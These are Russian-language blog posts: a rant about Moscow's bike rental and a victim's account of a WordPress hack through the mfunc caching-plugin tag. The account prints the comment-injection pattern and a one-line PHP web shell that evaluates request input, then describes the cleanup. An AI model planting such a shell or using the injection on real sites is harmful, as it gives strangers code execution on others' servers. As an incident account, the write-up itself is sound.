Как у больших

Почитал тут про московский велопрокат, про восторги по его поводу и про принцип работы. Удивительно, что такого рода вещами занимается Департамент транспорта. Нет, я не спорю, что велопрокат — это хорошо, пусть даже и на 5 месяцев в году. Но это не транспорт, а скорее что-то типа туристического аттракциона. Смотрите, мол, какое у нас прикольное Бульварное кольцо и как замечательно можно прокатиться на велосипеде по бульварам. Это роднит велопрокат и московский монорельс — тоже построенный по принципу «чтоб было модно и современно». Разница только одна — за монорельс Лужкова уже называют «мэром-дегенератом», а велосипед — это прикольно и по-хипстерски.

Интересно, когда Дептранс придумает превратить Москву в большой Диснейленд?

Подломали сайт

К сожалению, на этот раз это были не урбанисты. Вообще, политически правильно было бы обвинить последних во всех смертных грехах, начиная с поджога Рейхстага — но не в этот раз.

Ломанули довольно интересным образом, используя уязвимость в кеширующем плагине WordPress. Как известно, популярный движок для блогов и сайтов довольно тормознут и ресурсоемок — поэтому в большинстве случаев, когда содержимое сайта представляет собой «практически статику», достаточно создать страничку «по полной программе», с запросами к базе, работой тупых плагинов и прочей дрянью всего лишь один раз, а затем показывать всем в течение нескольких часов копию из кеша. Казалось бы, все хорошо? Но каким-то извращенцам очень сильно понадобилась возможность обновлять части закешированной страницы. Говно вопрос! — ответили авторы кеширующих плагинов и предложили решение — «тег» mfunc. Теперь, если в коде закешированной страницы обнаруживается вот такая конструкция:

<!--mfunc function_name( 'parameter', 'another_parameter' ) -->
<!--/mfunc-->

— то при выдаче кешированной страницы выполнится PHP-код внутри этого тега. Честно говоря, я с трудом представляю сценарий, когда может понадобиться эта возможность — ну за исключением использования WordPress, как движка не для блога (то есть нецелевого :)).

Этой фиче уже лет пять — но только в апреле этого года (!) кто-то заметил, что mfunc можно прекрасно вставить в комментарий. И тут понеслась… 27 мая у меня в блоге появился вот такой комментарий:

<!--mfunc eval(base64_decode('skipped a lot of shit')); --><!--/mfunc-->

Когда кому-то показывалась страничка с этим комментарием — то код внутри eval выполнялся, создавая в открытом на запись каталоге кеша файлик с совершенно замечательным содержанием (тоже несколько раз запакованным в base64):

ifdef($_REQUEST['abc']) eval(stripslashes($_REQUEST['abc']));

Ну вы поняли, да?

Что интересно — комментарий я заметил практически сразу. eval заменил на echo, закинул его в «Ожидающие модерации», проверил сайт на наличие всякой дряни, ничего не нашел и решил спать спокойно. Но оказалось, что хацкер первоначальный скрипт удалил. Продолжение я увидел через несколько дней — по аномалиям в статистике сайта (заодно появились глюки в админке) — большому количеству обращений к php-скрипту с непотребным названием, типа «wxvfebf.php» (разумеется, что wxv — это Wx Vidgets, а что значит febf — я еще не придумал :)). Залез в логи, залез на FTP — и обнаружил, что говнецо неизвестный ксакеп все же отложил, заодно заменив некоторые PHP-скрипты вордпресса на что-то непотребное.

В общем, вчера от греха подальше заменил все файлы вордпресса на нормальные, из приличных источников. Возможность написания комментариев с mfunc отключил, следы пребывания ксакепа убрал. Кстати, что интересно — этот персонаж еще и пытался подобрать пароль к админке. Видимо, тоже с целью малец поднасрать.

Что дальше? Этот эпизод еще больше убеждает меня в необходимости «своего вордпресса с блекджеком и шлюхами». Несмотря на все заявления авторов WP о том, что WordPress «безопасен» (которые я, что характерно, читал как раз 27 мая) — убедиться в этом крайне сложно. Более того, «голый» WordPress может быть и ничего — но он обрастает кучей плагинов, и те попросту никто и никогда не проверял ни на качество, ни на безопасность. Более того, вся эта история с mfunc — это практически сознательно заложенный бекдор.

Логичный вопрос — а почему я не обновляю WordPress, при всех этих рассуждениях о безопасности? Причина проста — многие плагины непредсказуемо взаимодействуют с новыми версиями движка, а авторы их попросту забросили. Обновление превращается в поиск багов в довольно большой программе с невнятной архитектурой. Фактически, установленный и «настроенный под себя» WordPress — это «форк» основной версии, а заниматься «чтением чужого кода» и поиском «что и где сломалось» не сильно интересно.